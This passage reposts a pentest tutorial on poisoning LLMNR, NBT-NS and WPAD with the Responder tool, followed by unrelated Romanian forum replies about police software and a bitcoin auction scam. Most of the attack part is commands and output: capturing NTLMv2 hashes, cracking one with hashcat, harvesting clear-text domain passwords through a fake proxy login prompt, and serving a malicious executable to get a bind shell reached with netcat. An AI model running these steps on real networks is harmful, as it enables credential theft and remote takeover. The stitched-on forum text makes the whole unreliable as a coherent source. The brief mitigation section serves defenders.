FF02:0:0:0:0:0:1:3 for IPv6. It performs own operations via 5355 TCP/UDP port. For example, while trying to ping to test.local that is not on the network, the first query goes to the DNS server. If the DNS server can not resolve this domain name, the query will be redirected to the LLMNR protocol. LLMNR is not an alternative to the DNS protocol; It is an improved solution for situations where DNS queries fail. It is supported by all operating systems marketed after Windows Vista. NetBIOS is an API that the systems in the local network use to communicate with each other. There are three different NetBIOS services. Name Service, it uses UDP 137 port for use for name registration and name resolution. Datagram Distribution Service, it uses UDP 138 port for connectionless communication. Session Service, It performs operations on the TCP 139 port for connection-oriented communication. The LLMNR protocol is used after the unsuccessful DNS query because the name resolution will be applied with the sort I share at the beginning of the article. And then a NetBIOS-NS packet, which is a broadcast query, is included in the traffic. Theoretically, these seemingly innocuous and functional systems have no protection against Man-in-the-Middle attacks on the local network. An attacker can obtain sensitive data such as username and password hash with successful attacks. Capture the NTLMv2 hash by manipulating the traffic Main scenario will be proceed as shown in below graphic: The victim will try to connect to the file sharing system, named filesrvr, which he typed incorrectly. The name resolution, which will be performed with the steps we mentioned earlier, will be questioned on the victim’s computer first. In step 2, because of the DNS Server does not have a corresponding record, the name of the system is sent as LLMNR, NetBIOS-NS query. The attacker listens to network traffic, catches name resolution query. Ze tells to victim that ze is the one who victim look for. (filsrvr) The attacker will listen to the broadcast and respond to all LLMNR and NetBIOS-NS queries. In this way, it is possible to manipulate traffic with a fake session and obtain username and password hashes. There are different tools to do this attack. Responder is developed by SpiderLabs. (We will use this tool.) The llmnr_response is a module in the Metasploit Framework MiTMf We start listening to the network traffic by specifying which network interface will be listened by the responder. root@kali:~# responder -i 10.7.7.31 NBT Name Service/LLMNR Responder 2.0. Please send bugs/comments to: lgaffie@trustwave.com To kill this script hit CRTL-C [+]NBT-NS, LLMNR & MDNS responder started [+]Loading Responder.conf File.. Global Parameters set: Responder is bound to this interface: ALL Challenge set: 1122334455667788 WPAD Proxy Server: False WPAD script loaded: function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} HTTP Server: ON HTTPS Server: ON SMB Server: ON SMB LM support: False Kerberos Server: ON SQL Server: ON FTP Server: ON IMAP Server: ON POP3 Server: ON SMTP Server: ON DNS Server: ON LDAP Server: ON FingerPrint hosts: False Serving Executable via HTTP&WPAD: OFF Always Serving a Specific File via HTTP&WPAD: OFF Our victim attempt to connect filesrvr share And we are getting SMB-NTLMv2 Hash! LLMNR poisoned answer sent to this IP: 10.7.7.30. The requested name was : filesrvr. [+]SMB-NTLMv2 hash captured from : 10.7.7.30 [+]SMB complete hash is : Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000 NBT-NS Answer sent to: 10.7.7.30. The requested name was : TOWER As we know NTLMv2 hashes can not be used directly for attacks Pass the Hash attack. Thus we need to perform password cracking attack in order to get plain-text password from out of captured hash. There are several tools for hash cracking; John the Ripper, Hashcat, Cain&Abel, Hydra etc. We will use hashcat to crack the NTLMv2 hash that we got from Responder. The Responder tool keeps the hash values it detects under the /usr/share/responder directory. root@kali:/usr/share/responder# ls *30* SMB-NTLMv2-Client-10.7.7.30.txt The NTLMv2 hash we obtained is as follows, root@kali:/usr/share/responder# cat SMB-NTLMv2-Client-10.7.7.30.txt Administrator::PENTESTLAB:1122334455667788:E360938548A17BF8E36239E2A3CC8FFC:0101000000000000EE36B4EE7358D201E09A8038DE69150F0000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000056A8A45AB1D3338B0049B358B877AEEEE1AA43715BA0639FB20A86281C8FE2B40A0010000000000000000000000000000000000009001A0063006900660073002F00660069006C00650073007200760072000000000000000000 Hashcat is an open-source password cracking tool. Besides, it has GPU support. It can detect the hash pattern with the -m parameter. At the end of the command, it will start a brute force attack by using dictionary. root@kali:/usr/share/responder# hashcat -m 5600 SMB-NTLMv2-Client-10.7.7.30.txt ~/dic.txt Initializing hashcat v2.00 with 4 threads and 32mb segment-size... Added hashes from file SMB-NTLMv2-Client-10.7.7.30.txt: 1 (1 salts) Activating quick-digest mode for single-hash with salt tatus [p]ause [r]esume ypass [q]uit => Input.Mode: Dict (/root/dic.txt) Index.....: 1/5 (segment), 3625424 (words), 33550339 (bytes) Recovered.: 0/1 hashes, 0/1 salts Speed/sec.: 6.46M plains, 6.46M words Progress..: 3625424/3625424 (100.00%) Running...: --:--:--:-- Estimated.: --:--:--:-- --- snippet --- ADMINISTRATOR::PENTESTLAB:1122334455667788:e360938548a17bf8e36239e2a3cc8ffc:0101000000000000ee36b4ee7358d201e09a8038de69150f0000000002000a0073006d006200310032000100140053004500520056004500520032003000300038000400160073006d006200310032002e006c006f00630061006c0003002c0053004500520056004500520032003000300038002e0073006d006200310032002e006c006f00630061006c000500160073006d006200310032002e006c006f00630061006c00080030003000000000000000000000000030000056a8a45ab1d3338b0049b358b877aeeee1aa43715ba0639fb20a86281c8fe2b40a0010000000000000000000000000000000000009001a0063006900660073002f00660069006c00650073007200760072000000000000000000:Abcde12345. All hashes have been recovered Input.Mode: Dict (/root/dic.txt) Index.....: 5/5 (segment), 552915 (words), 5720161 (bytes) Recovered.: 1/1 hashes, 1/1 salts Speed/sec.: - plains, 1.60M words Progress..: 552916/552915 (100.00%) Running...: 00:00:00:01 Estimated.: > 10 Years Started: Sat Dec 17 23:59:22 2016 Stopped: Sat Dec 17 23:59:25 2016 root@kali:/usr/share/responder# And voila! We get password which is Abcde12345. What is WPAD? Organisations allow employees to access the internets through proxy servers to increase performance, ensure security and track traffic.Users who connected to the corporate network need to know proxy server for specific URL without doing configuration. The Web Proxy Auto-Discovery Protocol (WPAD) is a method used by clients to locate the URL of a configuration file using DHCP and/or DNS discovery methods. Once detection and download of the configuration file is complete, it can be executed to determine the proxy for a specified URL. How WPAD works? The client wants to access the wpad.dat configuration file for proxy configuration. It searches computers named as “wpad” on the local network to find this file. And then following steps are carried out: If the DHCP Server is configured, the client retrieves the wpad.dat file from the DHCP Server (if successful, step 4 is taken) The wpad.corpdomain.com query is sent to the DNS server to find the device that is distributing the Wpad configuration. (If successful, step 4 is taken) Sent LLMNR query for WPAD (if success, go step 4 else proxy can’t be use) Download wpad.dat and use According to the above sequence, DHCP poisoning attack can be done for the first step. DNS poisoning attack can naturally be performed for the second step. But as I pointed out at the beginning of this article, configured network devices prevent these attacks. When a query is made through the LLMNR, this request will go to every client in the network via broadcast. At this point the attacker sends his wpad.dat file to the clients, acting like a wpad server. The important thing is that WPAD protocol is built in Windows operating systems. This configuration can be seen in the LAN Settings Section of the Internet Explorer browser. With this configuration, Internet Explorer makes a WPAD name resolution query on the whole network. Abusing WPAD Responder is a great utility for MiTM attack. Responder serves a fake WPAD Server and responds to clients’ WPAD name resolution. The client then requests the wpad.dat file from this fake WPAD Server. Responder creates an authentication screen and asks clients to enter the username and password they use in the domain. Naturally, employees write usernames and passwords used in the domain name. Finally, we can see their username and passwords. Using Responder tool is really simple. root@kali:~# git clone https://github.com/SpiderLabs/Responder.git Cloning into 'Responder'... remote: Counting objects: 886, done. remote: Total 886 (delta 0), reused 0 (delta 0), pack-reused 886 Receiving objects: 100% (886/886), 543.75 KiB | 255.00 KiB/s, done. Resolving deltas: 100% (577/577), done. Checking connectivity... done. I set up the following systems in order to simulate this attack. Now, we serve the fake HTTP Server and wait for clear-text passwords. root@kali:~/Responder# python Responder.py -I eth0 -wFb --- snippet --- [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [ON] Force Basic Auth [ON] Force LM downgrade [OFF] Fingerprint hosts [OFF] [+] Generic Options: Responder NIC [eth0] Responder IP [10.7.7.31] Challenge set [1122334455667788] [+] Listening for events... And our victim will see the following dialog box and naturally type the username and password. And clear-text password is in below: root@kali:~/Responder# python Responder.py -I eth0 -wFb --- snippet --- [+] Listening for events... [*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name GOOGLE.COM (service: Workstation/Redirector) [*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name WWW.GOOGLE.COM (service: Workstation/Redirector) [HTTP] Basic Client : 10.7.7.30 [HTTP] Basic Username : PENTESTLAB\roland [HTTP] Basic Password : secr3tPassw0rd123! [*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv [SMB] NTLMv2-SSP Client : 10.7.7.30 [SMB] NTLMv2-SSP Username : PENTESTLAB\Administrator [SMB] NTLMv2-SSP Hash : Administrator::PENTESTLAB:1122334455667788:8EBDB974DF3D5F4FB0CA15F1C5068856:01010000000000007894C6BE2C54D201FCEDFDB71BB6F1F20000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000B39077D5C9B729062C03BB45B88B0D9EC2672C57115A1FE3E06F77BD79551D8F0A001000000000000000000000000000000000000900220063006900660073002F007200650073007000700072006F00780079007300720076000000000000000000 [SMB] Requested Share : \\RESPPROXYSRV\IPC$ [*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv [*] Skipping previously captured hash for PENTESTLAB\Administrator [SMB] Requested Share : \\RESPPROXYSRV\PICTURES [*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv [*] Skipping previously captured hash for PENTESTLAB\Administrator [SMB] Requested Share : \\RESPPROXYSRV\PICTURES [*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv [*] Skipping previously captured hash for PENTESTLAB\Administrator [SMB] Requested Share : \\RESPPROXYSRV\PICTURES [*] Skipping previously captured hash for PENTESTLAB\roland Backdoor with Responder The responder is not only MiTM attack for the WPAD service. It can force victims to downloadinga malicious files by directing ze to a fake web page. Social engineering can be used to realistically prepare the web page to be used for this attack. However, the Responder itself has a fake redirect page as well. All we need to do is make a few changes to the responder.conf file. We set “Serve-HTML” and “Serve-EXE” parameters to “On”. [HTTP Server] ; Set to On to always serve the custom EXE Serve-Always = On ; Set to On to replace any requested .exe with the custom EXE Serve-Exe = On ; Set to On to serve the custom HTML if the URL does not contain .exe ; Set to Off to inject the 'HTMLToInject' in web pages instead Serve-Html = On And we’re starting to run the Responder again. root@kali:~/Responder# python Responder.py -I eth0 -i 10.7.7.31 -r On -w On Now, when the victim tries to go out to the internet, ze will only see the following page. And by chance, the victim clicks on the Proxy Client connection and Bind downloads the CMD Shell, so we can connect to the victim’s 140 connection point with netcat. root@kali:~/Responder# nc 10.7.7.30 140 -vv 10.7.7.30: inverse host lookup failed: Host name lookup failure (UNKNOWN) [10.7.7.30] 140 (?) open | | | /\ | /\ //\. .//\ //\ . //\ / ( )/ \ Welcome To Spider Shell! ipconfig Microsoft Windows [Version 6.1.7601] (c) 2009 Microsoft Corporation. All Rights reserved. C:\Users\Roland\Desktop>ipconfig ipconfig Windows IP Configuration Ethernet adapter Ethernet: Connection-spesific DNS Suffix . : PENTESTLAB.local IPv4 Address . . . . . . . . . . . : 10.7.7.30 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.7.7.1 Mitigations against WPAD First solution for this attack is, create DNS entry with “WPAD” that points to the corporate proxy server. So the attacker won’t be able to manipulate the traffic. Second solution is disable “Autodetect Proxy Settings” on all Internet Explorers with Group Policy. References https://en.wikipedia.org/wiki/NT_LAN_Manager https://github.com/SpiderLabs/Responder https://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning https://www.us-cert.gov/ncas/alerts/TA16-144A Sursa: https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

vezi aici, ofera gratuit

Sfatul meu este sa suni la 112 sau trimite un email contact@politiaromana.ro si cere un trial de 15 zile a programului, iar dupa ce faci rost de program totul devine limpede !

Nu a fost vanduta , ci doar o magarie , sa spus ca a fugit programatorul , dupa ca au vandut , dupa ca nu , dupa stai ca o fi ca nu este asa. cert este faptul ca au ajuns pe la parchet. Dar escrocheria era frumoasa , daca vroiai sa cumperi platforma nu era suficient sa spui , ci trebuia sa le dai 1 bitcoin in prima faza , apoi 2 bitcoin la licitatie , apoi 3 bitcoin sa licitezi.... si intr-un final categoric nimeni nu o cumpara.... dar el facea ceva bitcoin de pe urma la naivi. Explicatile respectivului se afla pe forumul oficiial bitcoin